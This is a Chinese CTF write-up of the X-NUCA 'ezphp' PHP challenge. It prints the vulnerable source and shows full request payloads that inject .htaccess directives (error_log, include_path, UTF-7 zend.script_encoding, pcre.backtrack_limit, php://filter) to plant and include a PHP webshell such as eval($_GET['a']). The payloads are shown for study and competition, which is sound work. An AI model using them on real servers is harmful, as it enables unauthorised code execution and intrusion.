鸽了很久,还是记录一下

比赛的时候搞了很长时间,终于和mlt师傅搞出来了,竟然只有我们一队是预期解==

<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

题目就给了一个php文件,整个逻辑也比较简单,首先删除当前目录下非index.php的文件,然后include(‘fl3g.php’),之后获取filename和content并写入文件中。其中对filename和content都有过滤。

那么从可控参数filename和content来看,

filename若匹配到除了a-z和单引号.以外的其它字符,则触发waf,

而content中也过滤了一些关键字,当然刚拿题的确不知道为啥要过滤这些。因为看到file_put_content和unlink自然想到了条件竞争写shell,但是测试过程虽然能够写进.php文件但是不解析,并且由于题目服务器中间件为apache,因此想到了传.htaceess来解析php,通常我们用

.htaccess来解析非php后缀文件时用到

AddType application/x-httpd-php .ppp

或者

<FilesMatch "shell.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

但是此时content中过滤了on,type,并且过滤了file,那么

auto_append_file和

auto_prepend_file肯定也无法使用,搜索中.htaccess+getshell大多数也是结合这两种方法,结合题目逻辑:

1.删除除了index.php的所有文件,但是.htaccess如果上传肯定unlink没法删除

2.fl3g.php被删除,但是又有include,肯定要利用到包含来getshell

有了以上两点在php.ini中找了找,发现了有趣的几项配置:

顾名思义,include_path用来设置include()或require()函数包含文件的参考路径,也就是说当使用include()或require()函数包含文件的时候,程序首先以include_path设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件,如果都找不到,则出错,那么我们就可以通过修改它来控制include的路径,那么如果我们能够在其它目录写入同名的fl3g.php让其包含,那么就能够getshell,并且达到fl3g.php文件不被删除。

然而经过一番搜索,并未找到可修改filename中文件路径分隔符的配置项,因此路径分割符/无法使用,即无法file_put_contents任意目录写文件。

了一下,发现该函数可以把错误日志保存到指定的目录中,那么可以通过php_value来设置其为/tmp/fl3g.php,那么当报错时将会把错误信息保存到该fl3g.php中,当然要配合设置log_errors为1开启错误记录,报错的话可以通过include_path来报错,那么此时思路应该比较清晰了:

1.写.htaccess,访问index.php,通过报错将shell写入到/tmp/fl3g.php

2.写.htaccess,包含fl3g.php来getshell

那么此时又遇到一个trick,写入的.htaccess将会和\n及字符串拼接在一起

那么通常.htaccess中出现无意义字符再访问当前目录文件服务器将500,那么.htaccess又不支持多行注释,并且单行注释#必须在每行的开头,那么此时可以通过\反斜杠和#来用单行注释kill掉just one chance字符串。本地先测试一波:

payload:

index.php?filename=.htaccess&content=php_value include_path "<?=phpinfo();?>"%0d%0aphp_value log_errors 1%0d%0aphp_value error_log  /tmp/fl3g.php%0d%0a%23 \

此时将写入.htaccess

再次访问index.php

此时将include_path中的payload写入到了fl3g.php中,但是从观察来看<>被html实体编码转义了,html_errors里面html也被过滤了。说明此时shell无法利用,上周suctf也考到了.htaccess中编码来绕过<?的过滤,但是此时只转义了<,因此UTF-16,UTF-32均无法bypass,此时结合Insomnihack 2019 -l33t-hoster题解中使用UTF-7编码来绕过<的过滤,结合php.ini的设置项

并且利用wp中已经给的poc:

+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+Ads

再在走一遍之前的流程,首先写入payload,发现并未转义

第二次写.htaccess更新inlcude_path为/tmp目录,并开启utf-7编码检测

此时需要写入以上三个值,写入情况如下图

此时再访问index.php来getshell即可,这里要注意本地要设置一下除了index.php不解析其它以php为后缀的文件,否则这里本地测试包含fl3g.php时无法getshell,本地跑完以后就可以远程打了

这道题用到了以下几个trick:

1.error_log结合log_errors自定义错误日志

2.include_path带入payload

3.include_path更改包含路径

4.php_flag zend.multibyte 1结合php_value zend.script_encoding "UTF-7"绕过尖括号<过滤

5.# \ 绕过just one chance

用到的几个trick都是php.ini自带的配置,getshell的过程也更具有普适性

看了赛后的wp,还有两个非预期解:

1.正则匹配时:

if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false

php_value pcre.backtrack_limit    0
php_value auto_append_file ".htaccess"
php_value pcre.jit 0
#aa<?php eval($_GET['a']);?>\

令filename为:

filename=php://filter/write=convert.base64-decode/resource=.htaccess

这样content就能绕过stristr,一般这种基于字符的过滤都可以用编码进行绕过,这样就能getshell了,这里还学到了p牛的一篇文章:

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=1#reply-list,php://filter的妙用

2.非预期2

因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过 # \,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess,

比如

php_value auto_prepend_fi\
le ".htaccess"

当时实在是没想到这种。。。不知道为啥没想到

X-NUCA-ezphp记录的更多相关文章

  1. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

  2. 记一次debug记录:Uncaught SyntaxError: Unexpected token ILLEGAL

    在使用FIS3搭建项目的时候,遇到了一些问题,这里记录下. 这里是发布搭建代码: // 代码发布时 fis.media('qa') .match('*.{js,css,png}', { useHash ...

  3. nginx配置反向代理或跳转出现400问题处理记录

    午休完上班后,同事说测试站点访问接口出现400 Bad Request  Request Header Or Cookie Too Large提示,心想还好是测试服务器出现问题,影响不大,不过也赶紧上 ...

  4. Kali对wifi的破解记录

    好记性不如烂笔头,记录一下. 我是在淘宝买的拓实N87,Kali可以识别,还行. 操作系统:Kali 开始吧. 查看一下网卡的接口.命令如下 airmon-ng 可以看出接口名称是wlan0mon. ...

  5. 2015 西雅图微软总部MVP峰会记录

    2015 西雅图微软总部MVP峰会记录 今年决定参加微软MVP全球峰会,在出发之前本人就已经写这篇博客,希望将本次会议原汁原味奉献给大家 因为这次是本人第一次写会议记录,写得不好的地方希望各位园友见谅 ...

  6. 分享一个SQLSERVER脚本(计算数据库中各个表的数据量和每行记录所占用空间)

    分享一个SQLSERVER脚本(计算数据库中各个表的数据量和每行记录所占用空间) 很多时候我们都需要计算数据库中各个表的数据量和每行记录所占用空间 这里共享一个脚本 CREATE TABLE #tab ...

  7. 我是如何在SQLServer中处理每天四亿三千万记录的

    首先声明,我只是个程序员,不是专业的DBA,以下这篇文章是从一个问题的解决过程去写的,而不是一开始就给大家一个正确的结果,如果文中有不对的地方,请各位数据库大牛给予指正,以便我能够更好的处理此次业务. ...

  8. 前端学HTTP之日志记录

    前面的话 几乎所有的服务器和代理都会记录下它们所处理的HTTP事务摘要.这么做出于一系列的原因:跟踪使用情况.安全性.计费.错误检测等等.本文将谥介绍日志记录 记录内容 大多数情况下,日志的记录出于两 ...

  9. ASP.NET Core应用中如何记录和查看日志

    日志记录不仅对于我们开发的应用,还是对于ASP.NET Core框架功能都是一项非常重要的功能特性.我们知道ASP.NET Core使用的是一个极具扩展性的日志系统,该系统由Logger.Logger ...

  10. python+uwsgi导致redis无法长链接引起性能下降问题记录

    今天在部署python代码到预生产环境时,web站老是出现redis链接未初始化,无法连接到服务的提示,比对了一下开发环境与测试环境代码,完全一致,然后就是查看各种日志,排查了半天也没有查明是什么原因 ...

随机推荐

  1. ActiveMQ Queue vs Topic vs VirtualTopic

    之前写过一篇文章讨论VirtualTopic,但觉得不够透彻,这里再根据实验结果进行一次横向对比破除模糊和选择困难症. 文章中核心对比要素是:消息副本和负载均衡 Queue的特点和优势 ActiveM ...

  2. 解决问题 inner element must either be a resource reference or empty.

    -Q: 错误<item>内部元素必须是资源引用或空 升级Andriod Studio之后编译发现如下错误 Android resource compilation failed ***\a ...

  3. python 笔记二

    17.进程线程 进程间通信方式:管道Pipe:队列Queue:共享内存Value.Array.Manager: 多进程同步:锁Lock.递归锁RLock.Condition(条件变量):事件event ...

  4. 关于SqlServer数据库数据备份失败的问题

    当备份的失败,出现说什么应该支持多少个介质簇,但实际出现了多少介质簇,这个时候就要考虑备份的地址是不是出现问题. 首先,检查备份地址,是不是多于两个以上,那么在备份的时候应该注意,备份地址最好留一个, ...

  5. Go数据类型之复合数据类型--数组

    3.1数组 数组是一个由固定长度的特定类型元素组成的序列,一个数组可以由零个或多个元素组成.数组中每个元素类型相同,又是连续分配,因此可以以固定的速度索引数组中的任何数据,速度非常快. 3.1.1声明 ...

  6. js基础知识3

    系统对话框方法 警告框 window.alert('mcw'); 效果显示 确认框 var a = window.confirm('你确定要离开网站?'); console.log(a); 如果点击确 ...

  7. VMware Linux系统克隆

    系统克隆 网卡设备无法识别 解决克隆虚拟机后网卡设备无法识别启动问题的方法 一.故障问题 从vmware workstation中克隆(clone)了一个CentOS 6的虚拟机,启动之后发现网卡没有 ...

  8. 《奋斗吧!菜鸟》第九次团队作业:Beta冲刺

    项目 内容 这个作业属于哪个课程 任课教师链接 作业要求 https://www.cnblogs.com/nwnu-daizh/p/11056511.html 团队名称 奋斗吧!菜鸟 作业学习目标 B ...

  9. linux下Boost序列化问题解决

    由于项目需要,要使用boost,所以在网上找了一些例子帮助理解,其中遇到很多问题,再次总结记录一下.#include <boost/archive/text_oarchive.hpp> # ...

  10. 简述 OSI 七层协议?

    OSI七层协议是一个用于计算机或通信系统间互联的标准体系. 物理层功能:主要是基于电器特性发送高低电压(电信号),高电压对应数字1,低电压对应数字0. 数据链路层的功能:定义了电信号的分组方式按照以太 ...